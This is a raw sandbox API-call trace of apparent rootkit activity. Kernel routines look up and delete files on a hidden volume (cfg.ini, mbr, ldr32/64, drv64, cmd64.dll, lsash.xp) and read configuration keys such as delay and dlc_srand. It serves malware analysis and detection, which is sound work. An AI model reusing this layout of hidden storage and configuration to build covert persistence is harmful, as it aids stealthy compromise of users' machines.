[0120.616] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.616] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.616] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.616] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.616] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.616] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.616] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.616] KeLeaveCriticalRegion () [0120.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.616] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.616] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.616] KeEnterCriticalRegion () [0120.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.616] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.616] IdePortDispatch () returned 0x103 [0120.616] KeWaitForMutexObject () returned 0x0 [0120.617] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.617] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.617] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.617] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.617] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.617] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.617] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.617] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.617] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.617] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.617] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.617] KeLeaveCriticalRegion () [0120.617] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.617] ReleaseMutex (hMutex=0x100) returned 1 [0120.617] Sleep (dwMilliseconds=0x2bf20) [0120.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b171f50, dwHighDateTime=0x1d24fa4)) [0120.624] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.625] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.625] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.625] KeEnterCriticalRegion () [0120.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.625] IdePortDispatch () returned 0x103 [0120.625] KeWaitForMutexObject () returned 0x0 [0120.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.625] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.625] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.625] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.625] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.625] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc130 [0120.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.625] KeLeaveCriticalRegion () [0120.625] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.625] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.625] KeEnterCriticalRegion () [0120.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.625] KeLeaveCriticalRegion () [0120.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.625] KeEnterCriticalRegion () [0120.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.625] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.625] IdePortDispatch () returned 0x103 [0120.625] KeWaitForMutexObject () returned 0x0 [0120.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.626] KeLeaveCriticalRegion () [0120.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.626] KeEnterCriticalRegion () [0120.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034af000 [0120.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.626] IdePortDispatch () returned 0x103 [0120.626] KeWaitForMutexObject () returned 0x0 [0120.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.626] IdePortDispatch () returned 0x103 [0120.627] KeWaitForMutexObject () returned 0x0 [0120.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.627] KeLeaveCriticalRegion () [0120.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.627] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.627] KeEnterCriticalRegion () [0120.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.627] KeLeaveCriticalRegion () [0120.627] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.627] KeEnterCriticalRegion () [0120.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.627] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.627] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.627] KeLeaveCriticalRegion () [0120.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.628] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.628] KeEnterCriticalRegion () [0120.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.628] ExFreePoolWithTag (P=0xfffffa8003bbc130, Tag=0x0) [0120.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.628] KeLeaveCriticalRegion () [0120.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.628] ReleaseMutex (hMutex=0xf0) returned 1 [0120.628] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.628] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.628] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.628] KeEnterCriticalRegion () [0120.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.628] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.628] IdePortDispatch () returned 0x103 [0120.628] KeWaitForMutexObject () returned 0x0 [0120.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.628] KeLeaveCriticalRegion () [0120.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.628] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.628] KeEnterCriticalRegion () [0120.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.628] KeLeaveCriticalRegion () [0120.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.629] KeEnterCriticalRegion () [0120.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.629] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.629] IdePortDispatch () returned 0x103 [0120.629] KeWaitForMutexObject () returned 0x0 [0120.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.629] KeLeaveCriticalRegion () [0120.629] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.629] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.629] KeEnterCriticalRegion () [0120.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b0000 [0120.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.629] IdePortDispatch () returned 0x103 [0120.629] KeWaitForMutexObject () returned 0x0 [0120.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.629] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.629] IdePortDispatch () returned 0x103 [0120.629] KeWaitForMutexObject () returned 0x0 [0120.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] KeLeaveCriticalRegion () [0120.630] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.630] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.630] KeEnterCriticalRegion () [0120.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] KeLeaveCriticalRegion () [0120.630] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.630] KeEnterCriticalRegion () [0120.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.630] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] KeLeaveCriticalRegion () [0120.630] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.630] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.630] KeEnterCriticalRegion () [0120.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.630] KeLeaveCriticalRegion () [0120.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.631] ReleaseMutex (hMutex=0xf0) returned 1 [0120.631] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.631] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.631] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.631] KeEnterCriticalRegion () [0120.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.631] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.631] IdePortDispatch () returned 0x103 [0120.631] KeWaitForMutexObject () returned 0x0 [0120.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.631] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.631] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.631] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.631] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.631] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcc60 [0120.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.631] KeLeaveCriticalRegion () [0120.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.631] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.631] KeEnterCriticalRegion () [0120.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.631] KeLeaveCriticalRegion () [0120.631] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.631] KeEnterCriticalRegion () [0120.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.631] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.631] IdePortDispatch () returned 0x103 [0120.632] KeWaitForMutexObject () returned 0x0 [0120.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.632] KeLeaveCriticalRegion () [0120.632] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.632] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.632] KeEnterCriticalRegion () [0120.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b1000 [0120.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.632] IdePortDispatch () returned 0x103 [0120.632] KeWaitForMutexObject () returned 0x0 [0120.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.632] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.632] IdePortDispatch () returned 0x103 [0120.632] KeWaitForMutexObject () returned 0x0 [0120.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] KeLeaveCriticalRegion () [0120.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.633] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.633] KeEnterCriticalRegion () [0120.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] KeLeaveCriticalRegion () [0120.633] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.633] KeEnterCriticalRegion () [0120.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.633] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.633] 